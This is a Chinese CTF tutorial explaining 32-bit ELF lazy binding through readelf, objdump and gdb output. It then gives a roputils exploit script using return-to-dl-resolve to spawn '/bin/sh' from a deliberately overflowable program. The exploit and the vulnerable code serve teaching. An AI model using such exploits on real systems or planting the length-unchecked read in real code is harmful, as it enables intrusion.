先介绍lazy binding:
代码如下:
#include <unistd.h>
int main()
{
char buf[100];
int size;
read(0, &size, 4);
read(0, buf, size);
write(1, buf, size);
return 0;
}
编译链接:需要在32位下,不要在64位下操作: gcc -fno-stack-protector bof.c -o bof
看一下程序的区段信息:
yang@yang-virtual-machine:~/ctf$ readelf -S bof
共有 30 个节头,从偏移量 0x1178 开始:
节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
。。。。。。。。。
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1
。。。。。。。。。。
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4
[10] .rel.plt REL 080482b0 0002b0 000020 08 A 5 12 4
[11] .init PROGBITS 080482d0 0002d0 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16
。。。。。。
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4
[24] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1
。。。。。
[28] .symtab SYMTAB 00000000 001628 000440 10 29 45 4
[29] .strtab STRTAB 00000000 001a68 00025f 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
当在ELF文件中调用一个库函数时,因为库是动态加载的,所以库函数的地址也是不确定的,需要动态加载确定 。
比如调用read函数 ,一般程序汇编代码为: call write@plt
在区段中,重点是这三个区段:plt、rel.plt、got.plt,重点介绍下:
plt段包含一段代码,call的时候就是执行这段代码,rel.plt包含重定位时关于函数地址的结构体,got.plt包含函数的地址,如果是第一次调用函数时,got.plt中包含plt表的地址,以后调用函数时,该表中保存函数地址。
.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位在.rel.plt中列出了链接的C库函数
符号信息:
yang@yang-virtual-machine:~/ctf$ readelf -s bof
Symbol table '.dynsym' contains 6 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
5: 0804854c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
Symbol table '.symtab' contains 68 entries:
Num: Value Size Type Bind Vis Ndx Name
。。。。。。。。。。
46: 00000000 0 FUNC GLOBAL DEFAULT UND read@@GLIBC_2.0
。。。。。。。。。。。
56: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
57: 00000000 0 FUNC GLOBAL DEFAULT UND write@@GLIBC_2.0
。。。。。。。。。。。。
63: 0804844d 100 FUNC GLOBAL DEFAULT 13 main
64: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
65: 0804a024 0 OBJECT GLOBAL HIDDEN 24 __TMC_END__
66: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
67: 080482d0 0 FUNC GLOBAL DEFAULT 11 _init
dynamic段信息如下:
yang@yang-virtual-machine:~/ctf$ readelf -d bof
Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000001 (NEEDED) 共享库:[libc.so.6]
。。。。。。。。。。。
0x00000005 (STRTAB) 0x804822c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 80 (bytes)
0x0000000b (SYMENT) 16 (bytes)
。。。。。。。。。。。
0x00000017 (JMPREL) 0x80482b0
0x00000011 (REL) 0x80482a8
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
。。。。。。。。。。。
yang@yang-virtual-machine:~/ctf$
几个结构体:
.dynamic节区结构体如下:
typedef struct {
Elf32_Sword d_tag;
union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un;
}
Elf32_Dyn;
.rel.plt的结构体如下:
typedef struct {
Elf32_Addr r_offset; // 函数的真实地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
r_info要满足这样的条件:
symtab+(r_info>>8)*0x10=sym_entry
r_info & 0xff = 0x7(对应于R_386_JUMP_SLOT)
.dynsym结构体定义:
typedef struct{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
对应着dynamic区段的symtab。
STRTAB中包含着对应的字符串:
gdb-peda$ x/10s 0x804822c
0x804822c: ""
0x804822d: "libc.so.6"
0x8048237: "_IO_stdin_used"
0x8048246: "read"
0x804824b: "__libc_start_main"
0x804825d: "write"
0x8048263: "__gmon_start__"
0x8048272: "GLIBC_2.0"
0x804827c: ""
0x804827d: ""
下边具体分析一下plt段的代码:
yang@yang-virtual-machine:~/ctf$ objdump -d -j.plt bof
bof: 文件格式 elf32-i386
Disassembly of section .plt:
08048300 <read@plt-0x10>:
8048300: ff 35 04 a0 04 08 pushl 0x804a004
8048306: ff 25 08 a0 04 08 jmp *0x804a008
804830c: 00 00 add %al,(%eax)
...
08048310 <read@plt>:
8048310: ff 25 0c a0 04 08 jmp *0x804a00c
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>
08048320 <__gmon_start__@plt>:
8048320: ff 25 10 a0 04 08 jmp *0x804a010
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>
08048330 <__libc_start_main@plt>:
8048330: ff 25 14 a0 04 08 jmp *0x804a014
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30>
08048340 <write@plt>:
8048340: ff 25 18 a0 04 08 jmp *0x804a018
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
可以看出plt段起始地址
对应dl_runtime_resolve函数
还是以函数read举例,当调用函数read时,执行call read@plt,跳到地址8048310处执行。
gdb-peda$ x/wx 0x804a00c
0x804a00c <read@got.plt>: 0x08048316
gdb-peda$ x/20wx 0x0804a000
0x804a000: 0x08049f14 0xb7fff938 0xb7ff24f0 0x08048316
0x804a010 <__gmon_start__@got.plt>: 0x08048326 0xb7e2f990 0x08048346 0x00000000
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到刚开始read@got.plt中保存的是read@plt+0x6的地址,所以调到地址0x8048316处继续执行。
先将got+4入栈,在调用*(got+0x8)处的函数
注意got.plt表的前三项有特殊意义:第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,第四项开始就是函数的GOT表了。
函数_dl_runtime_resolve的定义: _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。
根据rel_offset,找到重定位条目:
Elf32_Rel * rel_entry = JMPREL + rel_offset;
JMPREL(
对应 rel.plt)可以通过以下命令获取:
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0
gdb-peda$ x/2wx 0x80482b0
0x80482b0: 0x0804a00c 0x00000107
根据rel_entry中的符号表条目编号,得到对应的符号信息:
Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置
#define ELF32_R_SYM(val) ((val) >> 8)
这样,rel_entry->r_info=0x107 ELF32_R_SYM(rel_entry->r_info)=0x107>>8=1 也就是索引为1 索引从0开始
所以SYMTAB[1]表示索引为1,也就是symtab+0x10
r_info
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep SYM
0x00000006 (SYMTAB) 0x80481cc
0x0000000b (SYMENT) 16 (bytes)
0x6ffffff0 (VERSYM) 0x804827c
gdb-peda$ x/5wx 0x80481dc (sym_entry)
0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012
0x80481ec: 0x00000037
再找到符号信息中的符号名称:
char *sym_name = STRTAB + sym_entry->st_name;
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep STR
0x00000005 (STRTAB) 0x804822c
0x0000000a (STRSZ) 80 (bytes)
gdb-peda$ x/s 0x804822c+0x1a
0x8048246: "read"
根据函数名字,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。
return to dl-resolve:
利用原理就是在用户可以控制的区域内,布置几个结构体,包括rel.plt,SYMTAB这几个相关的结构体,数据设置为自己的数据,最后调用到自己要执行的函数。
看一下用roputils模块写的exp:
from roputils import *
fpath = './pwn200'
offset = 112
rop = ROP(fpath)
addr_bss = rop.section('.bss') #获得bss节的地址
buf = rop.retfill(offset) #填充112个字符
buf += rop.call('read', 0, addr_bss, 500) #调用read函数,将数据读取到add_bss地址处
buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数,执行addr_bss+20的函数,参数在addr_bss处。
target = Proc(rop.fpath)
target.write(p32(len(buf)))
target.write(buf)
print target.read(len(buf))
buf = rop.string('/bin/sh') #从此往下都是读取的数据,此处是函数参数,从此开始也是我们控制布置数据的区域
buf += rop.fill(20, buf) 填充20大小
buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址
buf += rop.fill(500, buf)
target.write(buf)
target.interact(0)
看一下文章开头的源代码对应的汇编代码:
.text:0804844D ; __unwind {
.text:0804844D 55 push ebp
.text:0804844E 89 E5 mov ebp, esp
.text:08048450 83 E4 F0 and esp, 0FFFFFFF0h
.text:08048453 83 C4 80 add esp, -80h
.text:08048456 C7 44 24 08 04 00 00 00 mov dword ptr [esp+8], 4 ; nbytes
.text:0804845E 8D 44 24 18 lea eax, [esp+80h+buf]
.text:08048462 89 44 24 04 mov [esp+4], eax ; buf
.text:08048466 C7 04 24 00 00 00 00 mov dword ptr [esp], 0 ; fd
.text:0804846D E8 9E FE FF FF call _read
.text:08048472 8B 44 24 18 mov eax, [esp+18h]
.text:08048476 89 44 24 08 mov [esp+8], eax ; nbytes
.text:0804847A 8D 44 24 1C lea eax, [esp+80h+var_64]
.text:0804847E 89 44 24 04 mov [esp+4], eax ; buf
.text:08048482 C7 04 24 00 00 00 00 mov dword ptr [esp], 0 ; fd
.text:08048489 E8 82 FE FF FF call _read
.text:0804848E 8B 44 24 18 mov eax, [esp+18h]
.text:08048492 89 44 24 08 mov [esp+8], eax ; n
.text:08048496 8D 44 24 1C lea eax, [esp+80h+var_64]
.text:0804849A 89 44 24 04 mov [esp+4], eax ; buf
.text:0804849E C7 04 24 01 00 00 00 mov dword ptr [esp], 1 ; fd
.text:080484A5 E8 96 FE FF FF call _write
.text:080484AA B8 00 00 00 00 mov eax, 0
.text:080484AF C9 leave
.text:080484B0 C3 retn
.text:080484B0 ; } // starts at 804844D
.text:080484B0 main endp
再看一下伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+18h] [ebp-68h]
char v5; // [esp+1Ch] [ebp-64h]
read(0, &buf, 4u);
read(0, &v5, *(size_t *)&buf);
write(1, &v5, *(size_t *)&buf);
return 0;
}
虽然此时是
char v5; // [esp+1Ch] [ebp-64h]
我们普遍认为覆盖到溢出点需要0x64+4
但是因为
64位调用roputils: https://blog.csdn.net/guiguzi5512407/article/details/52752914 (栈溢出利用之return to dl-resolve实例) 但是没有成功
.text:08048450 83 E4 F0 and esp, 0FFFFFFF0h
这段汇编代码的影响(将esp 和0xfffffff0 与操作,导致esp的末位被置零,而这里esp末位是8,所以相当于esp-0x8),所以覆盖到溢出点需要0x64+0x8+0x4=0x70
64位调用roputils: https://blog.csdn.net/guiguzi5512407/article/details/52752914 (栈溢出利用之return to dl-resolve实例) 但是没有成功
相关链接:
http://rk700.github.io/2015/08/09/return-to-dl-resolve/ (ROP之return to dl-resolve)
https://github.com/inaz2/roputils